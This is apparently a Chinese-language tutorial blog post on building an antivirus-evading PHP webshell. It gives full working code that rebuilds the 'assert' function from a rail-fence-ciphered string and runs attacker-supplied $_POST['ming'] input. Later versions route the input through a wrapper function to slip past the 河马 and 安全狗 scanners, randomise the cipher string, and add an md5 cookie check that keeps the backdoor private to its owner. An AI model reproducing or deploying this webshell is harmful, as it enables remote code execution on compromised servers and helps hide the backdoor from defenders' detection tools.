栅栏加密免杀木马
0x01思路
以栅栏加密
的方式拼接出assert
敏感函数,与$_POST['ming']
连接,形成assert($_POST['ming'])
这种木马。
在phpstudy中测试发现拼接assert函数这种姿势只能在php版本<=7.0.9使用
0x02栅栏加密算法
栅栏加密是一种普通的置换加密算法,仅仅改变位置而不做替换,加密过程是将N个明文按M个字符进行分组(M<N),然后将每组的第1个字符组合,每组第2个字符组合…每组的第N个字符组合(最后一个分组可能不足N个),最后把他们全部连接起来就是密文
例如明文iloveyou
长度8,可以使用的栅栏变量为2,3,4,5,6,7
如果栅栏变量为2,那么2个为一组,可以分为4组:
i | o | e | o |
---|---|---|---|
l | v | y | u |
每组相同位数的字符组合,再相加,加密后的字符串为ioeolvyu
以下是php
代码的栅栏加密解密函数(我爱gpt)
<?php
function FenceEncrypt($text,$rails) //$text为明文,$rails为栅栏变量
{
$railFence = array_fill(0, $rails, array());
$rail = 0;
for ($i = 0; $i < strlen($text); $i++) {
$railFence[$rail][] = $text[$i];
$rail = ($rail + 1) % $rails;
}
$encryptedText = "";
foreach ($railFence as $rail) {
$encryptedText .= implode("", $rail);
}
return $encryptedText;
}
function FenceDecode($str,$n) { //$str为密文,$n为栅栏变量
$length = strlen($str);
$table = array();
$quotient = (int)($length / $n);
$remainder = $length % $n;
for ($i = 0; $i < $n; $i++) {
$table[$i] = array();
}
$index = 0;
for ($i = 0; $i < $n; $i++) {
$rowCount = $quotient + ($i < $remainder ? 1 : 0);
for ($j = 0; $j < $rowCount; $j++) {
$table[$i][$j] = $str[$index++];
}
}
$decodedStr = '';
for ($i = 0; $i < $quotient + 1; $i++) {
for ($j = 0; $j < $n; $j++) {
if (isset($table[$j][$i])) {
$decodedStr .= $table[$j][$i];
}
}
}
return $decodedStr;
}
?>
0x03编写木马过程
免杀木马的构建逻辑便是先解密密文,将a、s、e、r、t提取出来重新排列形成函数,在与$_POST['ming']
连接,形成assert($_POST['ming'])
这种木马。
形成加密字符串
随机生成了字符串JGassKe!*-U09trgBtofJ6(lh
,经过栅栏密码加密处理,得到加密字符串
<?php
function railFenceEncrypt($text,$rails)
{
$railFence = array_fill(0, $rails, array());
$rail = 0;
for ($i = 0; $i < strlen($text); $i++) {
$railFence[$rail][] = $text[$i];
$rail = ($rail + 1) % $rails;
}
$encryptedText = "";
foreach ($railFence as $rail) {
$encryptedText .= implode("", $rail);
}
return $encryptedText;
}
$text = "JGassKe!*-U09trgBtofJ6(lh";
$encryptedText = railFenceEncrypt($text,3);
echo $encryptedText;
?>
得到加密字符串Jse-9go6hGs!UtBf(aK*0rtJl
明文字符串JGassKe!*-U09trgBtofJ6(lh
的第2位为a,3位为s,6位为e,14位为r,17位为t
连接$_POST['pass']形成木马
拼接形成assert函数,连接POST获取的参数形成木马
<?php
$str='Jse-9go6hGs!UtBf(aK*0rtJl';
$n=3;
$length = strlen($str);
$table = array();
$quotient = (int)($length / $n);
$remainder = $length % $n;
for ($i = 0; $i < $n; $i++) {
$table[$i] = array();
}
$index = 0;
for ($i = 0; $i < $n; $i++) {
$rowCount = $quotient + ($i < $remainder ? 1 : 0);
for ($j = 0; $j < $rowCount; $j++) {
$table[$i][$j] = $str[$index++];
}
}
$decodedStr = '';
for ($i = 0; $i < $quotient + 1; $i++) {
for ($j = 0; $j < $n; $j++) {
if (isset($table[$j][$i])) {
$decodedStr .= $table[$j][$i];
}
}
}
$config=$decodedStr['2'].$decodedStr['3'].$decodedStr['3'].$decodedStr['6'].$decodedStr['14'].$decodedStr['17'];
$config($_POST['ming']);
?>
但免杀效果让人堪忧,河马查杀绕不过去,认为post请求获取的参数直接放到函数下
太过敏感
函数接收POST数据形成木马
那么就创建一个函数来将post传递的数据进行赋值,再将这个值带入到assert函数中,所以再代码中生成了myHiddenPost函数
<?php
function myHiddenPost($key) {
return isset($_POST[$key]) ? $_POST[$key] : null;
}
$str='Jse-9go6hGs!UtBf(aK*0rtJl';
$n=3;
$length = strlen($str);
$table = array();
$quotient = (int)($length / $n);
$remainder = $length % $n;
for ($i = 0; $i < $n; $i++) {
$table[$i] = array();
}
$index = 0;
for ($i = 0; $i < $n; $i++) {
$rowCount = $quotient + ($i < $remainder ? 1 : 0);
for ($j = 0; $j < $rowCount; $j++) {
$table[$i][$j] = $str[$index++];
}
}
$decodedStr = '';
for ($i = 0; $i < $quotient + 1; $i++) {
for ($j = 0; $j < $n; $j++) {
if (isset($table[$j][$i])) {
$decodedStr .= $table[$j][$i];
}
}
}
$config=$decodedStr['2'].$decodedStr['3'].$decodedStr['3'].$decodedStr['6'].$decodedStr['14'].$decodedStr['17'];
return $config(myHiddenPost('ming'));
?>
通过myHiddenPost($key)
函数接收POST参数,间接传递给assert形成木马
绕过河马查杀以及安全狗
生成随机字符串程序
为了增添一下代码的随机性,使用gpt编写了一个程序,php程序执行后第一行会表明a、s、e、r、t各个字符位置,第二行为随机字符串经过栅栏加密后的明文
<?php
function generate(){
$charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_=+1234567890';
$resultString = str_repeat(' ', 25);
$randomPositions = array_rand(range(0, 24), 5);
$vowels = 'asert';
foreach (str_split($vowels) as $index => $char) {
$resultString[$randomPositions[$index]] = $char;
if ($index==1){
echo '$decodedStr[\''.$randomPositions[$index].'\']'.'.';
}
echo '$decodedStr[\''.$randomPositions[$index].'\']'.'.';
}
foreach (str_split($resultString) as $index => $char) {
if ($char === ' ') {
$randomChar = $charset[array_rand(str_split($charset))];
$resultString[$index] = $randomChar;
}
}
return $resultString;
}
function railFenceEncrypt($text,$rails)
{
$railFence = array_fill(0, $rails, array());
$rail = 0;
for ($i = 0; $i < strlen($text); $i++) {
$railFence[$rail][] = $text[$i];
$rail = ($rail + 1) % $rails;
}
$encryptedText = "";
foreach ($railFence as $rail) {
$encryptedText .= implode("", $rail);
}
return $encryptedText;
}
$encryptedText = railFenceEncrypt(generate(),3);
echo "</br>";
echo $encryptedText;
?>
php脚本执行
分别将字符串修改至config以及str,形成木马
增添Cookie校验
增添Cookie校验机制,让木马的使用者只属于我。$encryptedValue
的值可以自己设定,这里的值3dd6f83a2df58e415b74edf50e65ebaf
是由sta3t_ming
经过md5加密而来的,其中最后五个字符_ming
是盐值。
<?php
function myHiddenPost($key) {
return isset($_POST[$key]) ? $_POST[$key] : null;
}
if (isset($_COOKIE['phpsession'])) {
$cookieValue = $_COOKIE['phpsession'];
$salt = '_ming';
$saltedValue = $cookieValue . $salt;
$encryptedValue = md5($saltedValue);
if ($encryptedValue=='3dd6f83a2df58e415b74edf50e65ebaf'){
$str='Jse-9go6hGs!UtBf(aK*0rtJl';
$n=3;
$length = strlen($str);
$table = array();
$quotient = (int)($length / $n);
$remainder = $length % $n;
for ($i = 0; $i < $n; $i++) {
$table[$i] = array();
}
$index = 0;
for ($i = 0; $i < $n; $i++) {
$rowCount = $quotient + ($i < $remainder ? 1 : 0);
for ($j = 0; $j < $rowCount; $j++) {
$table[$i][$j] = $str[$index++];
}
}
$decodedStr = '';
for ($i = 0; $i < $quotient + 1; $i++) {
for ($j = 0; $j < $n; $j++) {
if (isset($table[$j][$i])) {
$decodedStr .= $table[$j][$i];
}
}
}
$config=$decodedStr['2'].$decodedStr['3'].$decodedStr['3'].$decodedStr['6'].$decodedStr['14'].$decodedStr['17'];
$config(myHiddenPost('ming'));}
}
?>
0x05参考博客以及项目
https://yzddmr6.com/posts/webshell-venom-1-0/
https://xz.aliyun.com/t/13591?time__1311=mqmxnQiQG%3DWID%2FD0DTGk7FE1xIxGT%2Bei%3D4D&alichlgref=https%3A%2F%2Fwww.bing.com%2F
https://github.com/XiaoMMing9/Fence_php_horse